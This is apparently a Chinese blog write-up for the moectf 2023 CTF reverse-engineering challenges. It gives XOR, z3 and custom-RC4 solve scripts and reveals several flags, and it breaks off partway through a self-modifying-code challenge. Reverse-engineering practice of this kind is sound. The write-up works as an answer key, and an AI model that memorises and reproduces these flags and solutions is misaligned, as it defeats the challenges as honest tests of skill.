首页 > 其他分享 >moectf wp

moectf wp

时间:2023-10-15 20:58:35浏览次数:43  
标签:__ int text print flag key wp moectf

RE

Reverse入门指北

 if ( *(_DWORD *)v7 == 13 )
    sub_401082(aMoectfF1rstSt3, v6);
aMoectfF1rstSt3 db 'moectf{F1rst_St3p_1s_D0ne}',0Ah,0

base_64

pycdc 下载 编译

发现是base64变种

http://web.chacuo.net/netbasex

把索引表复制进去解密拿到flag

UPX!

exeinfope中看到是upx 3.9 脱壳后

for ( j = 0; ; ++j )
  {
    v8 = j;
    v2 = sub_140073829((__int64)inputString);
    if ( v8 >= v2 )
      break;
    inputString[j] ^= 0x67u;
    if ( flag[j] != inputString[j] )
    {
      sub_140073973((__int64)"try again~~");
      sub_1400723F7(0i64);
    }
  }

在这里可以得出只需要将flag全部数据异或上0x67u转ascii码就能拿到flag

data = [
    0x0A, 0x08, 0x02, 0x04, 0x13, 0x01, 0x1C, 0x57, 0x0F, 0x38,
    0x1E, 0x57, 0x12, 0x38, 0x2C, 0x09, 0x57, 0x10, 0x38, 0x2F,
    0x57, 0x10, 0x38, 0x13, 0x08, 0x38, 0x35, 0x02, 0x11, 0x54,
    0x15, 0x14, 0x02, 0x38, 0x32, 0x37, 0x3F
] + [0x46, 0x46, 0x46] + [0x1A] + [0x00] * 0x17

xor_result = [byte ^ 0x67 for byte in data]
ascii_output = ''.join([chr(byte) for byte in xor_result])
print(ascii_output)

Xor

data = [ 0x54,0x56,0x5C,0x5A,0x4D,0x5F,0x42,
         0x60,0x56,0x4C,0x66,0x52,0x57,0x9,0x4E,0x66,0x51,
         0x9,0x4E,0x66,0x4D,0x9
    ,0x66,0x61,0x9,0x6B,0x18,0x44
    ]

xor_result = [byte ^ 0x39 for byte in data]
ascii_output = ''.join([chr(byte) for byte in xor_result])
print(ascii_output)

ANDROID

根据hint1 搜索到button的id

搜到r.id.check找到关键代码

public class MainActivity extends AppCompatActivity {
    char[] enc = {25, 7, 0, 14, 27, 3, 16, '/', 24, 2, '\t', ':', 4, 1, ':', '*', 11, 29, 6, 7, '\f', '\t', '0', 'T', 24, ':', 28, 21, 27, 28, 16};
    char[] key = {'t', 'h', 'e', 'm', 'o', 'e', 'k', 'e', 'y'};

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_main);
        final EditText editText = (EditText) findViewById(R.id.input);
        ((Button) findViewById(R.id.check)).setOnClickListener(new View.OnClickListener() { // from class: com.doctor3.basicandroid.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View view) {
                String obj = editText.getText().toString();
                if (obj.length() != 31) {
                    Toast.makeText(MainActivity.this.getApplicationContext(), "长度不对哦", 0).show();
                    return;
                }
                byte[] bytes = obj.getBytes();
                for (int i = 0; i < 31; i++) {
                    if ((bytes[i] ^ MainActivity.this.key[i % MainActivity.this.key.length]) != MainActivity.this.enc[i]) {
                        Toast.makeText(MainActivity.this.getApplicationContext(), "好像有哪里不对", 0).show();
                        return;
                    }
                }
                Toast.makeText(MainActivity.this.getApplicationContext(), "恭喜!回答正确", 0).show();
            }
        });
    }
}
((bytes[i] ^ MainActivity.this.key[i % MainActivity.this.key.length]) != MainActivity.this.enc[i])

这里就可以得出只要将enc ^ MainActivity.this.key[i % MainActivity.this.key.length])就可以得到bytes 上面得知bytes的长度为31

import re
import string

enc = [25, 7, 0, 14, 27, 3, 16, '/', 24, 2, '\t', ':', 4,
       1, ':', '*', 11, 29, 6, 7, '\f', '\t', '0', 'T', 24,
       ':', 28, 21, 27, 28, 16]

key = ['t', 'h', 'e', 'm', 'o', 'e', 'k', 'e', 'y']

for i in range(31):
    if isinstance(enc[i], int):
        enc[i] = enc[i] ^ ord(key[i % len(key)])
    else:
        enc[i] = ord(enc[i]) ^ ord(key[i % len(key)])


for i in range(31):
    print(chr(enc[i]), end="")

EQUATION

使运算全部为假就行了 把!=改成== 然后丢z3里面跑,scanf是31s,但是ida显示上是最大为24,需要修改一下长度

多行合并一行https://www.lddgo.net/string/line-reduce

一行按分隔符分多行https://www.toolhelper.cn/Char/TextSplit

from z3 import *

s = Solver()

v4 = [Int(f'v4[{i}]') for i in range(32)]

# for i in range(32):
#     s.add(v4[i] != 0)
#     s.add(v4[i] >= 32)
#     s.add(v4[i] <= 126)

s.add(v4[0] == 109) #m
s.add(v4[1] == 111) #o
s.add(v4[2] == 101) #e
s.add(v4[3] == 99)  #c
s.add(v4[4] == 116) #t
s.add(v4[5] == 102) #f
s.add(v4[6] == 123) #{
#

s.add(334 * v4[28]+ 100 * v4[27]+ 369 * v4[26]+ 124 * v4[25]+ 278 * v4[24]+ 158 * v4[23]+ 162 * v4[22]+ 145 * v4[19]+ 27 * v4[17]+ 91 * v4[15]+ 195 * v4[14]+ 342 * v4[13]+ 391 * v4[10]+ 204 * v4[9]+ 302 * v4[8]+ 153 * v4[7]+ 292 * v4[6]+ 382 * v4[5]+ 221 * v4[4]+ 316 * v4[3]+ 118 * v4[2]+ 295 * v4[1]+ 247 * v4[0]+ 236 * v4[11]+ 27 * v4[12]+ 361 * v4[16]+ 81 * v4[18]+ 105 * v4[20]+ 65 * v4[21]+ 67 * v4[29]+ 41 * v4[30] == 596119)
s.add(371 * v4[29]+ 338 * v4[28]+ 269 * v4[27]+ 312 * v4[26]+ 67 * v4[25]+ 299 * v4[24]+ 235 * v4[23]+ 294 * v4[22]+ 303 * v4[21]+ 211 * v4[20]+ 122 * v4[19]+ 333 * v4[18]+ 341 * v4[15]+ 111 * v4[14]+ 253 * v4[13]+ 68 * v4[12]+ 347 * v4[11]+ 44 * v4[10]+ 262 * v4[9]+ 357 * v4[8]+ 323 * v4[5]+ 141 * v4[4]+ 329 * v4[3]+ 378 * v4[2]+ 316 * v4[1]+ 235 * v4[0]+ 59 * v4[6]+ 37 * v4[7]+ 264 * v4[16]+ 73 * v4[17]+ 126 * v4[30] == 634009)
s.add(337 * v4[29]+ 338 * v4[28]+ 118 * v4[27]+ 82 * v4[26]+ 239 * v4[21]+ 58 * v4[20]+ 304 * v4[19]+ 330 * v4[18]+ 377 * v4[17]+ 306 * v4[16]+ 221 * v4[13]+ 345 * v4[12]+ 124 * v4[11]+ 272 * v4[10]+ 270 * v4[9]+ 229 * v4[8]+ 377 * v4[7]+ 373 * v4[6]+ 297 * v4[5]+ 112 * v4[4]+ 386 * v4[3]+ 90 * v4[2]+ 361 * v4[1]+ 236 * v4[0]+ 386 * v4[14]+ 73 * v4[15]+ 315 * v4[22]+ 33 * v4[23]+ 141 * v4[24]+ 129 * v4[25]+ 123 * v4[30] == 685705)
s.add(367 * v4[29]+ 55 * v4[28]+ 374 * v4[27]+ 150 * v4[24]+ 350 * v4[23]+ 141 * v4[22]+ 124 * v4[21]+ 366 * v4[20]+ 230 * v4[19]+ 307 * v4[18]+ 191 * v4[17]+ 153 * v4[12]+ 383 * v4[11]+ 145 * v4[10]+ 109 * v4[9]+ 209 * v4[8]+ 158 * v4[7]+ 221 * v4[6]+ 188 * v4[5]+ 22 * v4[4]+ 146 * v4[3]+ 306 * v4[2]+ 230 * v4[1]+ 13 * v4[0]+ 287 * v4[13]+ 257 * v4[14]+ 137 * v4[15]+ 7 * v4[16]+ 52 * v4[25]+ 31 * v4[26]+ 355 * v4[30] == 557696)
s.add(100 * v4[29]+ 191 * v4[28]+ 362 * v4[27]+ 55 * v4[26]+ 210 * v4[25]+ 359 * v4[24]+ 348 * v4[21]+ 83 * v4[20]+ 395 * v4[19]+ 350 * v4[16]+ 291 * v4[15]+ 220 * v4[12]+ 196 * v4[11]+ 399 * v4[8]+ 68 * v4[7]+ 84 * v4[6]+ 281 * v4[5]+ 334 * v4[4]+ 53 * v4[3]+ 399 * v4[2]+ 338 * v4[0]+ 18 * v4[1]+ 148 * v4[9]+ 21 * v4[10]+ 174 * v4[13]+ 36 * v4[14]+ 2 * v4[17]+ 41 * v4[18]+ 137 * v4[22]+ 24 * v4[23]+ 368 * v4[30] == 538535)
s.add(188 * v4[29]+ (v4[26] * 2 ** 7)+ 93 * v4[25]+ 248 * v4[24]+ 83 * v4[23]+ 207 * v4[22]+ 217 * v4[19]+ 309 * v4[16]+ 16 * v4[15]+ 135 * v4[14]+ 251 * v4[13]+ 200 * v4[12]+ 49 * v4[11]+ 119 * v4[10]+ 356 * v4[9]+ 398 * v4[8]+ 303 * v4[7]+ 224 * v4[6]+ 208 * v4[5]+ 244 * v4[4]+ 209 * v4[3]+ 189 * v4[2]+ 302 * v4[1]+ 395 * v4[0]+ 314 * v4[17]+ 13 * v4[18]+ 310 * v4[20]+ 21 * v4[21]+ 67 * v4[27]+ 127 * v4[28]+ 100 * v4[30] == 580384)
s.add(293 * v4[29]+ 343 * v4[28]+ 123 * v4[27]+ 387 * v4[26]+ 114 * v4[25]+ 303 * v4[24]+ 248 * v4[23]+ 258 * v4[21]+ 218 * v4[20]+ 180 * v4[19]+ 196 * v4[18]+ 398 * v4[17]+ 398 * v4[14]+ 138 * v4[9]+ 292 * v4[8]+ 38 * v4[7]+ 179 * v4[6]+ 190 * v4[5]+ 57 * v4[4]+ 358 * v4[3]+ 191 * v4[2]+ 215 * v4[1]+ 88 * v4[0]+ 22 * v4[10]+ 72 * v4[11]+ 357 * v4[12]+ 9 * v4[13]+ 389 * v4[15]+ 81 * v4[16]+ 85 * v4[30] == 529847)
s.add(311 * v4[29]+ 202 * v4[28]+ 234 * v4[27]+ 272 * v4[26]+ 55 * v4[25]+ 328 * v4[24]+ 246 * v4[23]+ 362 * v4[22]+ 86 * v4[21]+ 75 * v4[20]+ 142 * v4[17]+ 244 * v4[16]+ 216 * v4[15]+ 281 * v4[14]+ 398 * v4[13]+ 322 * v4[12]+ 251 * v4[11]+ 357 * v4[8]+ 76 * v4[7]+ 292 * v4[6]+ 389 * v4[5]+ 275 * v4[4]+ 312 * v4[3]+ 200 * v4[2]+ 110 * v4[1]+ 203 * v4[0]+ 99 * v4[9]+ 21 * v4[10]+ 269 * v4[18]+ 33 * v4[19]+ 356 * v4[30] == 631652)
s.add(261 * v4[29]+ 189 * v4[26]+ 55 * v4[25]+ 23 * v4[24]+ 202 * v4[23]+ 185 * v4[22]+ 182 * v4[21]+ 285 * v4[20]+ 217 * v4[17]+ 157 * v4[16]+ 232 * v4[15]+ 132 * v4[14]+ 169 * v4[13]+ 154 * v4[12]+ 121 * v4[11]+ 389 * v4[10]+ 376 * v4[9]+ 292 * v4[6]+ 225 * v4[5]+ 155 * v4[4]+ 234 * v4[3]+ 149 * v4[2]+ 241 * v4[1]+ 312 * v4[0]+ 368 * v4[7]+ 129 * v4[8]+ 226 * v4[18]+ 288 * v4[19]+ 201 * v4[27]+ 288 * v4[28]+ 69 * v4[30] == 614840)
s.add(60 * v4[29]+ 118 * v4[28]+ 153 * v4[27]+ 139 * v4[26]+ 23 * v4[25]+ 279 * v4[24]+ 396 * v4[23]+ 287 * v4[22]+ 237 * v4[19]+ 266 * v4[18]+ 149 * v4[17]+ 193 * v4[16]+ 395 * v4[15]+ 97 * v4[14]+ 16 * v4[13]+ 286 * v4[12]+ 105 * v4[11]+ 88 * v4[10]+ 282 * v4[9]+ 55 * v4[8]+ 134 * v4[7]+ 114 * v4[6]+ 101 * v4[5]+ 116 * v4[4]+ 271 * v4[3]+ 186 * v4[2]+ 263 * v4[1]+ 313 * v4[0]+ 149 * v4[20]+ 129 * v4[21]+ 145 * v4[30] == 510398)
s.add(385 * v4[29]+ 53 * v4[28]+ 112 * v4[27]+ 8 * v4[26]+ 232 * v4[25]+ 145 * v4[24]+ 313 * v4[23]+ 156 * v4[22]+ 321 * v4[21]+ 358 * v4[20]+ 46 * v4[19]+ 382 * v4[18]+ 144 * v4[16]+ 222 * v4[14]+ 329 * v4[13]+ 161 * v4[12]+ 335 * v4[11]+ 50 * v4[10]+ 373 * v4[9]+ 66 * v4[8]+ 44 * v4[7]+ 59 * v4[6]+ 292 * v4[5]+ 39 * v4[4]+ 53 * v4[3]+ 310 * v4[0]+ 154 * v4[1]+ 24 * v4[2]+ 396 * v4[15]+ 81 * v4[17]+ 355 * v4[30] == 558740)
s.add(249 * v4[29]+ 386 * v4[28]+ 313 * v4[27]+ 74 * v4[26]+ 22 * v4[25]+ 168 * v4[24]+ 305 * v4[21]+ 358 * v4[20]+ 191 * v4[19]+ 202 * v4[18]+ 14 * v4[15]+ 114 * v4[14]+ 224 * v4[13]+ 134 * v4[12]+ 274 * v4[11]+ 372 * v4[10]+ 159 * v4[9]+ 233 * v4[8]+ 70 * v4[7]+ 287 * v4[6]+ 297 * v4[5]+ 318 * v4[4]+ 177 * v4[3]+ 173 * v4[2]+ 270 * v4[1]+ 163 * v4[0]+ 77 * v4[16]+ 25 * v4[17]+ 387 * v4[22]+ 18 * v4[23]+ 345 * v4[30] == 592365)
s.add(392 * v4[29]+ 385 * v4[28]+ 302 * v4[27]+ 13 * v4[25]+ 27 * v4[24]+ 99 * v4[22]+ 343 * v4[19]+ 324 * v4[18]+ 223 * v4[17]+ 372 * v4[16]+ 261 * v4[15]+ 181 * v4[14]+ 203 * v4[13]+ 232 * v4[12]+ 305 * v4[11]+ 393 * v4[10]+ 325 * v4[9]+ 231 * v4[8]+ 92 * v4[7]+ 142 * v4[6]+ 22 * v4[5]+ 86 * v4[4]+ 264 * v4[3]+ 300 * v4[2]+ 387 * v4[1]+ 360 * v4[0]+ 225 * v4[20]+ 127 * v4[21]+ 2 * v4[23]+ 80 * v4[26]+ 268 * v4[30] == 619574)
s.add(270 * v4[28]+ 370 * v4[27]+ 235 * v4[26]+ 96 * v4[22]+ 85 * v4[20]+ 150 * v4[19]+ 140 * v4[18]+ 94 * v4[17]+ 295 * v4[16]+ 19 * v4[14]+ 176 * v4[12]+ 94 * v4[11]+ 258 * v4[10]+ 302 * v4[9]+ 171 * v4[8]+ 66 * v4[7]+ 278 * v4[6]+ 193 * v4[5]+ 251 * v4[4]+ 284 * v4[3]+ 218 * v4[2]+ (v4[1] * 2 ** 6)+ 319 * v4[0]+ 125 * v4[13]+ 24 * v4[15]+ 267 * v4[21]+ 160 * v4[23]+ 111 * v4[24]+ 33 * v4[25]+ 174 * v4[29]+ 13 * v4[30] == 480557)
s.add(87 * v4[28]+ 260 * v4[27]+ 326 * v4[26]+ 210 * v4[25]+ 357 * v4[24]+ 170 * v4[23]+ 315 * v4[22]+ 376 * v4[21]+ 227 * v4[20]+ 43 * v4[19]+ 358 * v4[18]+ 364 * v4[17]+ 309 * v4[16]+ 282 * v4[15]+ 286 * v4[14]+ 365 * v4[13]+ 287 * v4[12]+ 377 * v4[11]+ 74 * v4[10]+ 225 * v4[9]+ 328 * v4[6]+ 223 * v4[5]+ 120 * v4[4]+ 102 * v4[3]+ 162 * v4[2]+ 123 * v4[1]+ 196 * v4[0]+ 29 * v4[7]+ 27 * v4[8]+ 352 * v4[30] == 666967)
s.add(61 * v4[29]+ 195 * v4[28]+ 125 * v4[27]+ (v4[26] * 2 ** 6)+ 260 * v4[25]+ 202 * v4[24]+ 116 * v4[23]+ 230 * v4[22]+ 326 * v4[21]+ 211 * v4[20]+ 371 * v4[19]+ 353 * v4[16]+ 124 * v4[13]+ 188 * v4[12]+ 163 * v4[11]+ 140 * v4[10]+ 51 * v4[9]+ 262 * v4[8]+ 229 * v4[7]+ 100 * v4[6]+ 113 * v4[5]+ 158 * v4[4]+ 378 * v4[3]+ 365 * v4[2]+ 207 * v4[1]+ 277 * v4[0]+ 190 * v4[14]+ 320 * v4[15]+ 347 * v4[17]+ 11 * v4[18]+ 137 * v4[30] == 590534)
s.add(39 * v4[28]+ 303 * v4[27]+ 360 * v4[26]+ 157 * v4[25]+ 324 * v4[24]+ 77 * v4[23]+ 308 * v4[22]+ 313 * v4[21]+ 87 * v4[20]+ 201 * v4[19]+ 50 * v4[18]+ 60 * v4[17]+ 28 * v4[16]+ 193 * v4[15]+ 184 * v4[14]+ 205 * v4[13]+ 140 * v4[12]+ 311 * v4[11]+ 304 * v4[10]+ 35 * v4[9]+ 356 * v4[8]+ 23 * v4[5]+ 85 * v4[4]+ 156 * v4[3]+ 16 * v4[2]+ 26 * v4[1]+ 157 * v4[0]+ 150 * v4[6]+ 72 * v4[7]+ 58 * v4[29] == 429108)
s.add(157 * v4[29]+ 137 * v4[28]+ 71 * v4[27]+ 269 * v4[26]+ 161 * v4[25]+ 317 * v4[20]+ 296 * v4[19]+ 385 * v4[18]+ 165 * v4[13]+ 159 * v4[12]+ 132 * v4[11]+ 296 * v4[10]+ 162 * v4[7]+ 254 * v4[4]+ 172 * v4[3]+ 132 * v4[0]+ 369 * v4[1]+ 257 * v4[2]+ 134 * v4[5]+ 384 * v4[6]+ 53 * v4[8]+ 255 * v4[9]+ 229 * v4[14]+ 129 * v4[15]+ 23 * v4[16]+ 41 * v4[17]+ 112 * v4[21]+ 17 * v4[22]+ 222 * v4[23]+ 96 * v4[24]+ 126 * v4[30] == 563521)
s.add(207 * v4[29]+ 83 * v4[28]+ 111 * v4[27]+ 35 * v4[26]+ 67 * v4[25]+ 138 * v4[22]+ 223 * v4[21]+ 142 * v4[20]+ 154 * v4[19]+ 111 * v4[18]+ 341 * v4[17]+ 175 * v4[16]+ 259 * v4[15]+ 225 * v4[14]+ 26 * v4[11]+ 334 * v4[10]+ 250 * v4[7]+ 198 * v4[6]+ 279 * v4[5]+ 301 * v4[4]+ 193 * v4[3]+ 334 * v4[2]+ 134 * v4[0]+ 37 * v4[1]+ 183 * v4[8]+ 5 * v4[9]+ 270 * v4[12]+ 21 * v4[13]+ 275 * v4[23]+ 48 * v4[24]+ 163 * v4[30] == 493999)
s.add(393 * v4[29]+ 176 * v4[28]+ 105 * v4[27]+ 162 * v4[26]+ 148 * v4[25]+ 281 * v4[24]+ 300 * v4[23]+ 342 * v4[18]+ 262 * v4[17]+ 152 * v4[12]+ 43 * v4[11]+ 296 * v4[10]+ 273 * v4[9]+ 75 * v4[6]+ 18 * v4[4]+ 217 * v4[2]+ 132 * v4[1]+ 112 * v4[0]+ 210 * v4[3]+ 72 * v4[5]+ 113 * v4[7]+ 40 * v4[8]+ 278 * v4[13]+ 24 * v4[14]+ 77 * v4[15]+ 11 * v4[16]+ 55 * v4[19]+ 255 * v4[20]+ 241 * v4[21]+ 13 * v4[22]+ 356 * v4[30] == 470065)
s.add(369 * v4[29]+ 231 * v4[28]+ 285 * v4[25]+ 290 * v4[24]+ 297 * v4[23]+ 189 * v4[22]+ 390 * v4[21]+ 345 * v4[20]+ 153 * v4[19]+ 114 * v4[18]+ 251 * v4[17]+ 340 * v4[16]+ 44 * v4[15]+ 58 * v4[14]+ 335 * v4[13]+ 359 * v4[12]+ 392 * v4[11]+ 181 * v4[8]+ 103 * v4[7]+ 229 * v4[6]+ 175 * v4[5]+ 208 * v4[4]+ 92 * v4[3]+ 397 * v4[2]+ 349 * v4[1]+ 356 * v4[0]+ (v4[9] * 2 ** 6)+ 5 * v4[10]+ 88 * v4[26]+ 40 * v4[27]+ 295 * v4[30] == 661276)
s.add(341 * v4[27]+ 40 * v4[25]+ 374 * v4[23]+ 201 * v4[22]+ 77 * v4[21]+ 215 * v4[20]+ 283 * v4[19]+ 213 * v4[18]+ 392 * v4[17]+ 224 * v4[16]+ v4[15]+ 270 * v4[12]+ 28 * v4[11]+ 75 * v4[8]+ 386 * v4[7]+ 298 * v4[6]+ 170 * v4[5]+ 287 * v4[4]+ 247 * v4[3]+ 204 * v4[2]+ 103 * v4[1]+ 21 * v4[0]+ 84 * v4[9]+ 27 * v4[10]+ 159 * v4[13]+ 192 * v4[14]+ 213 * v4[24]+ 129 * v4[26]+ 67 * v4[28]+ 27 * v4[29]+ 361 * v4[30] == 555288)
s.add(106 * v4[29]+ 363 * v4[28]+ 210 * v4[27]+ 171 * v4[26]+ 289 * v4[25]+ 240 * v4[24]+ 164 * v4[23]+ 342 * v4[22]+ 391 * v4[19]+ 304 * v4[18]+ 218 * v4[17]+ 32 * v4[16]+ 350 * v4[15]+ 339 * v4[12]+ 303 * v4[11]+ 222 * v4[10]+ 298 * v4[9]+ 47 * v4[8]+ 48 * v4[6]+ 264 * v4[4]+ 113 * v4[3]+ 275 * v4[2]+ 345 * v4[1]+ 312 * v4[0]+ 171 * v4[5]+ 384 * v4[7]+ 175 * v4[13]+ 5 * v4[14]+ 113 * v4[20]+ 19 * v4[21]+ 263 * v4[30] == 637650)
s.add(278 * v4[29]+ 169 * v4[28]+ 62 * v4[27]+ 119 * v4[26]+ 385 * v4[25]+ 289 * v4[24]+ 344 * v4[23]+ 45 * v4[20]+ 308 * v4[19]+ 318 * v4[18]+ 270 * v4[17]+ v4[16]+ 323 * v4[15]+ 332 * v4[14]+ 287 * v4[11]+ 170 * v4[10]+ 163 * v4[9]+ 301 * v4[8]+ 303 * v4[7]+ 23 * v4[6]+ 327 * v4[5]+ 169 * v4[3]+ 28 * v4[0]+ 365 * v4[1]+ 15 * v4[2]+ 352 * v4[12]+ 72 * v4[13]+ 140 * v4[21]+ 65 * v4[22]+ 346 * v4[30] == 572609)
s.add(147 * v4[29]+ 88 * v4[28]+ 143 * v4[27]+ 237 * v4[26]+ 63 * v4[24]+ 281 * v4[22]+ 388 * v4[21]+ 142 * v4[20]+ 208 * v4[19]+ 60 * v4[18]+ 354 * v4[15]+ 88 * v4[14]+ 146 * v4[13]+ 290 * v4[12]+ 349 * v4[11]+ 43 * v4[10]+ 230 * v4[9]+ 267 * v4[6]+ 136 * v4[5]+ 383 * v4[4]+ 35 * v4[3]+ 226 * v4[2]+ 385 * v4[1]+ 238 * v4[0]+ 348 * v4[7]+ 20 * v4[8]+ 158 * v4[16]+ 21 * v4[17]+ 249 * v4[23]+ 9 * v4[25]+ 343 * v4[30] == 603481)
s.add(29 * v4[29]+ 323 * v4[26]+ 159 * v4[25]+ 118 * v4[20]+ 326 * v4[19]+ 211 * v4[18]+ 225 * v4[17]+ 355 * v4[16]+ 201 * v4[15]+ 149 * v4[14]+ 296 * v4[13]+ 184 * v4[12]+ 315 * v4[11]+ 364 * v4[10]+ 142 * v4[9]+ 75 * v4[8]+ 313 * v4[7]+ 142 * v4[6]+ 396 * v4[5]+ 348 * v4[4]+ 272 * v4[3]+ 26 * v4[2]+ 206 * v4[1]+ 173 * v4[0]+ 155 * v4[21]+ 144 * v4[22]+ 366 * v4[23]+ 257 * v4[24]+ 148 * v4[27]+ 24 * v4[28]+ 253 * v4[30] == 664504)
s.add(4 * v4[29]+ 305 * v4[28]+ 226 * v4[27]+ 212 * v4[26]+ 175 * v4[25]+ 93 * v4[24]+ 165 * v4[23]+ 341 * v4[20]+ 14 * v4[19]+ 394 * v4[18]+ (v4[17] * 2 ** 8)+ 252 * v4[16]+ 336 * v4[15]+ 38 * v4[14]+ 82 * v4[13]+ 155 * v4[12]+ 215 * v4[11]+ 331 * v4[10]+ 230 * v4[9]+ 241 * v4[8]+ 225 * v4[7]+ 186 * v4[4]+ 90 * v4[3]+ 50 * v4[2]+ 62 * v4[1]+ 34 * v4[0]+ 237 * v4[5]+ 11 * v4[6]+ 336 * v4[21]+ 36 * v4[22]+ 29 * v4[30] == 473092)
s.add(353 * v4[29]+ 216 * v4[28]+ 252 * v4[27]+ 8 * v4[26]+ 62 * v4[25]+ 233 * v4[24]+ 254 * v4[23]+ 303 * v4[22]+ 234 * v4[21]+ 303 * v4[20]+ (v4[19] * 2 ** 8)+ 148 * v4[18]+ 324 * v4[17]+ 317 * v4[16]+ 213 * v4[15]+ 309 * v4[14]+ 28 * v4[13]+ 280 * v4[11]+ 118 * v4[10]+ 58 * v4[9]+ 50 * v4[8]+ 155 * v4[7]+ 161 * v4[6]+ (v4[5] * 2 ** 6)+ 303 * v4[4]+ 76 * v4[3]+ 43 * v4[2]+ 109 * v4[1]+ 102 * v4[0]+ 93 * v4[30] == 497492)
s.add(89 * v4[29]+ 148 * v4[28]+ 82 * v4[27]+ 53 * v4[26]+ 274 * v4[25]+ 220 * v4[24]+ 202 * v4[23]+ 123 * v4[22]+ 231 * v4[21]+ 169 * v4[20]+ 278 * v4[19]+ 259 * v4[18]+ 208 * v4[17]+ 219 * v4[16]+ 371 * v4[15]+ 181 * v4[12]+ 104 * v4[11]+ 392 * v4[10]+ 285 * v4[9]+ 113 * v4[8]+ 298 * v4[7]+ 389 * v4[6]+ 322 * v4[5]+ 338 * v4[4]+ 237 * v4[3]+ 234 * v4[0]+ 261 * v4[1]+ 10 * v4[2]+ 345 * v4[13]+ 3 * v4[14]+ 361 * v4[30] == 659149)
s.add(361 * v4[29]+ 359 * v4[28]+ 93 * v4[27]+ 315 * v4[26]+ 69 * v4[25]+ 137 * v4[24]+ 69 * v4[23]+ 58 * v4[22]+ 300 * v4[21]+ 371 * v4[20]+ 264 * v4[19]+ 317 * v4[18]+ 215 * v4[17]+ 155 * v4[16]+ 215 * v4[15]+ 330 * v4[14]+ 239 * v4[13]+ 212 * v4[12]+ 88 * v4[11]+ 82 * v4[10]+ 354 * v4[9]+ 85 * v4[8]+ 310 * v4[7]+ 84 * v4[6]+ 374 * v4[5]+ 380 * v4[4]+ 215 * v4[3]+ 351 * v4[2]+ 141 * v4[1]+ 115 * v4[0]+ 108 * v4[30] == 629123)

if s.check() == sat:
    m = s.model()
    for v in v4:
    	if (str(m[v]) == 'None'):continue
        i = m[v]
        print(chr(int(str(i))),end="") // i是int ref,需要转str然后转int

RRRRRc4

__int64 __fastcall sub_1400795E0(__int64 a1, __int64 a2, __int64 inputString, int a4, __int64 key, unsigned int a6)
{
  __int64 result; // rax
  int i; // [rsp+24h] [rbp+4h]
  int j; // [rsp+24h] [rbp+4h]
  int v9; // [rsp+24h] [rbp+4h]
  int v10; // [rsp+44h] [rbp+24h]
  int v11; // [rsp+44h] [rbp+24h]
  char v12; // [rsp+64h] [rbp+44h]
  char v13; // [rsp+64h] [rbp+44h]
  int v14; // [rsp+A4h] [rbp+84h]

  result = sub_14007555C(&unk_1401A7007);
  v10 = 0;
  v14 = 0;
  for ( i = 0; i < 256; ++i )
  {
    *(_BYTE *)(a1 + i) = i;
    *(_BYTE *)(a2 + i) = *(_BYTE *)(key + i % a6);
    result = (unsigned int)(i + 1);
  }
  for ( j = 0; j < 256; ++j )
  {
    v10 = (*(unsigned __int8 *)(a2 + j) + *(unsigned __int8 *)(a1 + j) + v10) % 256;
    v12 = *(_BYTE *)(a1 + v10);
    *(_BYTE *)(a1 + v10) = *(_BYTE *)(a1 + j);
    *(_BYTE *)(a1 + j) = v12;
    result = (unsigned int)(j + 1);
  }
  v9 = 0;
  v11 = 0;
  while ( a4 )
  {
    v9 = (v9 + 1) % 256;
    v11 = (*(unsigned __int8 *)(a1 + v9) + v11) % 256;
    v13 = *(_BYTE *)(a1 + v11);
    *(_BYTE *)(a1 + v11) = *(_BYTE *)(a1 + v9);
    *(_BYTE *)(a1 + v9) = v13;
    *(_BYTE *)(inputString + v14++) ^= *(_BYTE *)(a1
                                                + (*(unsigned __int8 *)(a1 + v11) + *(unsigned __int8 *)(a1 + v9)) % 256);
    result = (unsigned int)--a4;
  }
  return result;
}

初始化数组 产生一个s盒 异或上s盒 是rc4的特征,不过不是标准的rc4,所以需要跟着逻辑写一下然后解密

#include <stdio.h>
#include <string.h>

int main() {
    int a1[256], a2[256];
    unsigned char a3[] = {
        0x1B, 0x9B, 0xFB, 0x19, 0x06, 0x6A, 0xB5, 0x3B, 0x7C, 0xBA, 0x03, 0xF3, 0x91, 0xB8, 0xB6,
        0x3D, 0x8A, 0xC1, 0x48, 0x2E, 0x50, 0x11, 0xE7, 0xC7, 0x4F, 0xB1, 0x27, 0xCF, 0xF3, 0xAE,
        0x03, 0x09, 0xB2, 0x08, 0xFB, 0xDC, 0x22,0x00,0x00
    };
    int a4 = 38;
    char key[] = "moectf2023";
    int a6 = 10;

    int i, j;
    int v9 = 0, v10 = 0, v11 = 0, v13 = 0, v14 = 0;
    int result = 0;

    for (i = 0; i < 256; i++) {
        a1[i] = i;
        a2[i] = key[i % a6];
        result = i + 1;
    }

    for (j = 0; j < 256; j++) {
        v10 = (a2[j] + a1[j] + v10) % 256;
        int v12 = a1[v10];
        a1[v10] = a1[j];
        a1[j] = v12;
        result = j + 1;
    }

    v9 = 0;
    v11 = 0;

    while (a4) {
        v9 = (v9 + 1) % 256;
        v11 = (a1[v9] + v11) % 256;
        v13 = a1[v11];
        a1[v11] = a1[v9];
        a1[v9] = v13;
        a3[v14] ^= a1[(a1[v11] + a1[v9]) % 256];
        v14++;
        a4--;
    }

    for (i = 0; i < sizeof(a3); i++) {
        printf("%02x ", a3[i]);
    }
    printf("\n");

    return 0;
}

ascii解密拿到flag moectf{y0u_r3a11y_understand_rc4!!!!}

SMC

Self-Modifying Code顾名思义,工作起来分三步,编译的时候将函数的字节码加密插入程序,然后用VirtualProtect修改内存的保护(text段修改成可写的),然后运行解密函数将这个函数解密

查询了一下,大多数smc相关的题目有关字节码加密的操作使用异或的挺多的

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+0h] [ebp-78h]
  char v5; // [esp+0h] [ebp-78h]
  char v6[104]; // [esp+Ch] [ebp-6Ch] BYREF

  sub_401087(aPlzInputYourFl, v4);
  sub_401023(aS, (char)v6);
  sub_4011E0();
  if ( sub_401050(v6) )
    sub_401087(aGood, v5);
  else
    sub_401087(aTryAgainPlease, v5);
  return 0;
}

前面的是vfprint和vfscanf

sub_4011E0(); return了一个 sub_401550()

int sub_401550()
{
  int result; // eax
  int i; // [esp+4h] [ebp-1Ch]
  DWORD flOldProtect[2]; // [esp+18h] [ebp-8h] BYREF

